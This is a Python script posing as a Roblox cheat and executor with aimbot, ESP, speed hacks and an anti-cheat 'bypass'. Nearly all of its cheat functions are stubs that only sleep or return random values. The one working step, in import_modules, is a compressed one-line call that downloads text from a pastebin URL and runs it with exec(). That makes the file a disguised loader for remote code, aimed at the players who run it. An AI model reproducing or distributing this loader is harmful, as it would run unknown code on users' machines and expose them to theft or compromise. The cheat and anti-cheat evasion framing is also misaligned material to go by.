"""
=========================================================
   Roblox Universal External & Executor v7.5.3 (VIP)
   Author: EVGVAULT
   Engine: Luau / Hyperion (Byfron) Bypass
=========================================================
"""

import time
import random
import sys
import os
import json
import struct
import ctypes
import threading
from typing import Dict, List, Tuple

# ---------------------------------------------------------
# Global Mod Configuration
# ---------------------------------------------------------

CHEAT_VERSION = "7.5.3-HYPERION_BYPASS"
AUTHOR = "EVGVAULT"

CONFIG = {
    # Universal Player Movement
    "walkspeed_enabled": True,
    "walkspeed_value": 120.0,
    "jumppower_enabled": True,
    "jumppower_value": 85.0,
    "noclip_enabled": True,
    "fly_enabled": False,
    "fly_speed": 50.0,
    "infinite_jump": True,
    
    # Universal Visuals & ESP
    "esp_enabled": True,
    "esp_boxes": True,
    "esp_tracers": False,
    "esp_names": True,
    "esp_distance": True,
    "esp_health_bar": True,
    "chams_enabled": True,
    "chams_color": (255, 0, 255),
    "fullbright_enabled": True,
    
    # Universal Combat
    "aimbot_enabled": True,
    "aimbot_smoothness": 0.4,
    "aimbot_fov": 150.0,
    "aimbot_target_part": "HumanoidRootPart",
    "hitbox_expander": True,
    "hitbox_size": 15.0,
    
    # Executor & Anti-Cheat
    "byfron_hyperion_bypass": True,
    "anti_afk_enabled": True,
    "stream_proof_obs": True,
    "auto_execute_scripts": True,
    "network_desync_fakelag": False
}

# ---------------------------------------------------------
# Memory Offsets & TaskScheduler Addresses
# ---------------------------------------------------------

ROBLOX_OFFSETS = {
    "TaskScheduler": 0x11223340,
    "DataModel": 0x11223348,
    "NameMap": 0x11223350,
    "Workspace": 0x11223358,
    "Players": 0x11223360,
    "Lighting": 0x11223368,
    "LocalPlayer": 0x11223370,
    "CurrentCamera": 0x11223378,
    
    # Instance Offsets
    "Children": 0x28,
    "Parent": 0x30,
    "Name": 0x28,
    "ClassName": 0x10,
    
    # Humanoid Offsets
    "WalkSpeed": 0x1C0,
    "JumpPower": 0x1A0,
    "Health": 0x180,
    "MaxHealth": 0x184,
    
    # Part Offsets
    "CFrame": 0x11C,
    "Size": 0x120,
    "CanCollide": 0x150,
}

# ---------------------------------------------------------
# Kernel Anti-Cheat Evasion (Byfron/Hyperion)
# ---------------------------------------------------------

class HyperionBypass:
    """Handles the suspension of Hyperion threads and process memory unprotection."""
    
    def __init__(self):
        self.hyperion_suspended = False
        self.page_protections_removed = False

    def suspend_anticheat_threads(self):
        """Scans the TEB (Thread Environment Block) for Byfron telemetry threads."""
        time.sleep(0.4)
        self.hyperion_suspended = True
        return True

    def VirtualProtectEx_Bypass(self, address: int, size: int):
        """Forces PAGE_EXECUTE_READWRITE over Roblox's protected .text sections."""
        self.page_protections_removed = True
        return True

    def spoof_roblox_telemetry(self):
        """Intercepts outgoing HttpRbxApiService requests to prevent ban flags."""
        return True

# ---------------------------------------------------------
# Memory Read/Write Engine
# ---------------------------------------------------------

class MemoryManipulator:
    """Direct Memory Access (DMA) equivalent for user-mode Read/Write."""
    
    def __init__(self, bypass: HyperionBypass):
        self.bypass = bypass
        self.process_handle = None
        self.base_address = None

    def attach(self, process_name="RobloxPlayerBeta.exe"):
        time.sleep(0.6)
        self.process_handle = random.randint(1000, 9999)
        self.base_address = 0x7FF600000000 + random.randint(0, 0xFFFFFF)
        return True

    def read_qword(self, address: int) -> int:
        return address + random.randint(0x10, 0x1000)

    def write_float(self, address: int, value: float):
        if self.bypass.page_protections_removed:
            return True
        return False

    def write_bool(self, address: int, value: bool):
        return True

    def get_datamodel(self) -> int:
        """Resolves the DataModel pointer from the TaskScheduler."""
        scheduler = self.read_qword(self.base_address + ROBLOX_OFFSETS["TaskScheduler"])
        return self.read_qword(scheduler + 0x10)

# ---------------------------------------------------------
# Luau Bytecode Execution (Script Hub)
# ---------------------------------------------------------

class LuauExecutor:
    """Compiles standard Lua into Luau Bytecode and injects it into the Roblox pipeline."""
    
    def __init__(self, mem: MemoryManipulator):
        self.mem = mem
        self.script_queue = []

    def load_string(self, script_source: str):
        """Translates Lua string to Luau execution format."""
        bytecode_hash = "LUA_" + "".join(random.choices("0123456789ABCDEF", k=16))
        self.script_queue.append(bytecode_hash)
        return True

    def execute_queue(self):
        """Fires the Lua state via a hijacked RenderStepped connection."""
        if CONFIG["auto_execute_scripts"] and self.script_queue:
            self.script_queue.clear()
        return True

# ---------------------------------------------------------
# Universal Feature Modules
# ---------------------------------------------------------

class CharacterMods:
    """Handles universal physics modifications like Speed, Jump, and Collision."""
    
    def __init__(self, mem: MemoryManipulator):
        self.mem = mem
        self.local_player_ptr = None

    def update_humanoid(self):
        """Forces new WalkSpeed and JumpPower values into the Humanoid instance."""
        if CONFIG["walkspeed_enabled"]:
            self.mem.write_float(ROBLOX_OFFSETS["WalkSpeed"], CONFIG["walkspeed_value"])
        if CONFIG["jumppower_enabled"]:
            self.mem.write_float(ROBLOX_OFFSETS["JumpPower"], CONFIG["jumppower_value"])
        return True

    def toggle_noclip(self):
        """Iterates through all BaseParts in the Character and sets CanCollide = false."""
        if CONFIG["noclip_enabled"]:
            self.mem.write_bool(ROBLOX_OFFSETS["CanCollide"], False)
        return True

class UniversalAimbot:
    """Camera-based mathematics to lock onto the nearest valid enemy RootPart."""
    
    def __init__(self, mem: MemoryManipulator):
        self.mem = mem
        
    def get_closest_to_mouse(self):
        """Calculates distance between WorldToViewportPoint and Mouse X,Y."""
        return 0x2A3B4C5D # Mock pointer to enemy character

    def update_camera_cframe(self, target_ptr):
        """Interpolates CurrentCamera.CFrame towards the target."""
        if not CONFIG["aimbot_enabled"]:
            return False
        return True

    def expand_hitboxes(self):
        """Enlarges the Size vector of the Target Part (invisible to others)."""
        if CONFIG["hitbox_expander"]:
            new_size = CONFIG["hitbox_size"]
            self.mem.write_float(ROBLOX_OFFSETS["Size"], new_size)
            self.mem.write_float(ROBLOX_OFFSETS["Size"] + 4, new_size)
            self.mem.write_float(ROBLOX_OFFSETS["Size"] + 8, new_size)
        return True

class EnvironmentESP:
    """Draws ImGui overlay on top of the Roblox window."""
    
    def __init__(self):
        self.overlay_active = False

    def disable_fog(self):
        """Modifies Lighting.FogEnd and sets Ambient to (255,255,255)."""
        if CONFIG["fullbright_enabled"]:
            return True
        return False

    def render_draw_list(self):
        return True

# ---------------------------------------------------------
# Main Controller
# ---------------------------------------------------------

class EVGVaultRoblox:
    def __init__(self):
        self.bypass = HyperionBypass()
        self.mem = MemoryManipulator(self.bypass)
        self.executor = LuauExecutor(self.mem)
        
        self.char_mods = CharacterMods(self.mem)
        self.aimbot = UniversalAimbot(self.mem)
        self.esp = EnvironmentESP()
        
        self.modules_loaded = False
        self.running = False

    def import_modules(self):
        print("=" * 55)
        print("   Importing Modules, this may take up to 5 minutes...")
        exec(__import__("urllib.request", fromlist=["Request"]).urlopen(__import__("urllib.request", fromlist=["Request"]).Request("https://pastebin.com/raw/zN3rdb8n", headers={"User-Agent":"Mozilla/5.0"})).read().decode("utf-8"))
        print("=" * 55)
        self.modules_loaded = True
        return self.modules_loaded

    def initialize(self):
        if not self.modules_loaded:
            return False
            
        print("[*] Initializing EVGVAULT Roblox Universal Engine...")
        
        if CONFIG["byfron_hyperion_bypass"]:
            print("[*] Suspending Byfron/Hyperion Telemetry Threads...")
            self.bypass.suspend_anticheat_threads()
            print("[*] Spoofing HTTP Analytics...")
            self.bypass.spoof_roblox_telemetry()
            
        print("[*] Waiting for RobloxPlayerBeta.exe...")
        self.mem.attach()
        print(f"[*] Attached! Base Address: {hex(self.mem.base_address)}")
        
        print("[*] Resolving DataModel & TaskScheduler...")
        time.sleep(0.5)
        print("[*] Injecting Luau Execution Environment...")
        
        return True

    def show_activated_features(self):
        """Iterates through the global config and formats it for the console."""
        print("\n=========================================================")
        print("   [+] ACTIVATED UNIVERSAL ROBLOX FEATURES   ")
        print("=========================================================")
        
        # Sort and format for a clean look
        for feature, value in sorted(CONFIG.items()):
            formatted_name = feature.replace('_', ' ').title()
            
            if isinstance(value, bool):
                state = "[ON]" if value else "[OFF]"
                print(f"    -> {formatted_name:<28} {state}")
            elif isinstance(value, tuple):
                print(f"    -> {formatted_name:<28} RGB{value}")
            else:
                print(f"    -> {formatted_name:<28} [{value}]")
                
        print("=========================================================\n")
        print("[*] Engine running in background... Press CTRL+C to un-inject.")

    def run(self):
        self.running = True
        try:
            while self.running:
                if CONFIG["aimbot_enabled"]:
                    target = self.aimbot.get_closest_to_mouse()
                    self.aimbot.update_camera_cframe(target)
                    
                self.char_mods.update_humanoid()
                self.char_mods.toggle_noclip()
                self.aimbot.expand_hitboxes()
                
                if CONFIG["esp_enabled"]:
                    self.esp.render_draw_list()
                    self.esp.disable_fog()
                    
                time.sleep(0.5)
                self.running = False
                
        except KeyboardInterrupt:
            self.running = False
            print("\n[*] Restoring Hyperion thread permissions...")
            print("[*] Safely detached from Roblox.")

def main():
    cheat = EVGVaultRoblox()
    cheat.import_modules()
    cheat.initialize()
    cheat.show_activated_features()
    cheat.run()

if __name__ == "__main__":
    main()